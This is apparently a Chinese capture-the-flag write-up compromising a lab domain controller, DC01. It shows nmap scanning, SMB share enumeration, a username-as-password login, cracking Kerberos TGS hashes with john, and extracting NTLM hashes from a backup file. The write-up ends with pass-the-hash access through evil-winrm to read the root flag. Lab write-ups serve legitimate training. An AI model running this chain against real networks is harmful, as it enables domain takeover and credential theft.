// 探测主机 nmap -sP 192.168.56.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-19 01:47 EST Nmap scan report for192.168.56.1 Host is up (0.00050s latency). MAC Address: 0A:00:27:00:00:09 (Unknown) Nmap scan report for192.168.56.2 Host is up (0.00041s latency). MAC Address: 08:00:27:FB:9B:E7 (Oracle VirtualBox virtual NIC) Nmap scan report for192.168.56.128 Host is up (0.00036s latency). MAC Address: 08:00:27:41:A7:DA (Oracle VirtualBox virtual NIC) Nmap scan report for192.168.56.4 // 扫描主机所有端口 nmap -sT -min-rate 10000 -p- 192.168.56.128 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-19 01:58 EST Nmap scan report for192.168.56.128 Host is up (0.00078s latency). Not shown: 65517 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49664/tcp open unknown MAC Address: 08:00:27:41:A7:DA (Oracle VirtualBox virtual NIC) // 版本探测以及系统版本探测 nmap -sT -sV -O -p- 192.168.56.128 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-19 02:02 EST Nmap scan report for192.168.56.128 Host is up (0.00067s latency). Not shown: 65517 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-1922:04:08Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing 49664/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49687/tcp open msrpc Microsoft Windows RPC 49707/tcp open msrpc Microsoft Windows RPC MAC Address: 08:00:27:41:A7:DA (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022|11|2016|10 (95%) OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_10 Aggressive OS guesses: Microsoft Windows Server 2022 (95%), Microsoft Windows 1121H2 (91%), Microsoft Windows Server 2016 (91%), Microsoft Windows 10 (86%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
分析：可以看到该靶机存在53，88，445端口，推测该靶机是DC，存在445端口也可以枚举
渗透
SMB
没有任何频凭据，所以只能首先查看SMB里共享了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
smbclient -L 192.168.56.128 Password for [WORKGROUP\root]:
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin backup Disk C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share Users Disk Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 192.168.56.128 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
┌──(root㉿kali)-[~/Desktop/test/DC01] └─# smbclient //192.168.56.128/ADMIN$ Password for [WORKGROUP\root]: tree connect failed: NT_STATUS_ACCESS_DENIED
┌──(root㉿kali)-[~/Desktop/test/DC01] └─# smbclient //192.168.56.128/backup Password for [WORKGROUP\root]: Try "help" to get a list of possible commands. smb: \>
┌──(root㉿kali)-[~/Desktop/test/DC01] [0/229] └─# smbclient //192.168.56.128/C$ Password for [WORKGROUP\root]: tree connect failed: NT_STATUS_ACCESS_DENIED ┌──(root㉿kali)-[~/Desktop/test/DC01] └─# smbclient //192.168.56.128/IPC$ Password for [WORKGROUP\root]: Try "help" to get a list of possible commands. smb: \>
┌──(root㉿kali)-[~/Desktop/test/DC01] └─# smbclient //192.168.56.128/NETLOGON Password for [WORKGROUP\root]: Try "help" to get a list of possible commands. smb: \> ┌──(root㉿kali)-[~/Desktop/test/DC01] └─# smbclient //192.168.56.128/SYSVOL Password for [WORKGROUP\root]: Try "help" to get a list of possible commands. smb: \>
┌──(root㉿kali)-[~/Desktop/test/DC01] └─# smbclient //192.168.56.128/users Password for [WORKGROUP\root]: Try "help" to get a list of possible commands. smb: \>
但是能读取只有IPC$ ，但是里边什么都没有
1 2 3 4 5
smbclient //192.168.56.128/IPC$ Password for [WORKGROUP\root]: Try "help" to get a list of possible commands. smb: \> mget nothing to mget
withopen('user.txt','r') as file: data = file.read() lines = data.splitlines() withopen('username.txt','w+') as file2: for line in lines: file2.write(line[line.find('\\') + 1:line.find('(')-1] + '\n')
smbexec.py SOUPEDECODE\ybob317:ybob317@192.168.56.128 Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
使用smbclient
1 2 3 4 5 6 7 8 9 10 11 12 13
smbclient //192.168.56.128/users -U SOUPEDECODE.LOCAL/ybob317%ybob317 Try "help" to get a list of possible commands. smb: \> dir . DR 0 Thu Jul 418:48:222024 .. DHS 0 Mon Jun 1713:42:502024 admin D 0 Thu Jul 418:49:01 2024 Administrator D 0 Sat Jun 1515:56:402024 All Users DHSrn 0 Sat May 8 04:26:162021 Default DHR 0 Sat Jun 1522:51:08 2024 Default User DHSrn 0 Sat May 8 04:26:162021 desktop.ini AHS 174 Sat May 8 04:14:03 2021 Public DR 0 Sat Jun 1513:54:322024 ybob317 D 0 Mon Jun 1713:24:322024
UserFlag
1 2
smb: \ybob317\Desktop\> get user.txt getting file \ybob317\Desktop\user.txt of size 32as user.txt (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt Using default input encoding: UTF-8 Loaded 5 password hashes with5 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4]) Will run 8 OpenMP threads Press 'q'or Ctrl-C to abort, almost any other key for status Password123!! (?) 1g 0:00:00:31 DONE (2025-01-19 04:59) 0.03223g/s 462403p/s 2195Kc/s 2195KC/s !)(OPPQR..*7¡Vamos! Use the "--show" option to display all of the cracked passwords reliably Session completed.
smbclient //192.168.56.128/backup -U SOUPEDECODE.LOCAL/file_svc%'Password123!!' Try "help" to get a list of possible commands. smb: \> ls . D 0 Mon Jun 1713:41:172024 .. DR 0 Mon Jun 1713:44:562024 backup_extract.txt A 892 Mon Jun 17 04:41:05 2024
12942591 blocks of size 4096.11051255 blocks available smb: \> get backup_extract.txt getting file \backup_extract.txt of size 892as backup_extract.txt (32.3 KiloBytes/sec) (average 32.3 KiloBytes/sec) smb: \>
withopen('backup_extract.txt','r') as file1: data = file1.read() lines = data.splitlines() withopen('ntlm.txt','w+') as file2: for line in lines: file2.write(line[line.rfind(':')-34:line.rfind(':')-2]+'\n') withopen('usernmae2.txt','w+') as file3: for line in lines: file3.write(line[:line.find(':')]+'\n')
evil-winrm -i 192.168.56.128 -u 'FileServer$' -H 'e41da7e79a4c76dbd9cf79d1cb325559' Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\FileServer$\Documents>
进行root.flag读取
Root Flag
1 2
*Evil-WinRM* PS C:\Users\administrator\Desktop> type root.txt a9564ebc3289b7a14551baf8ad5ec60a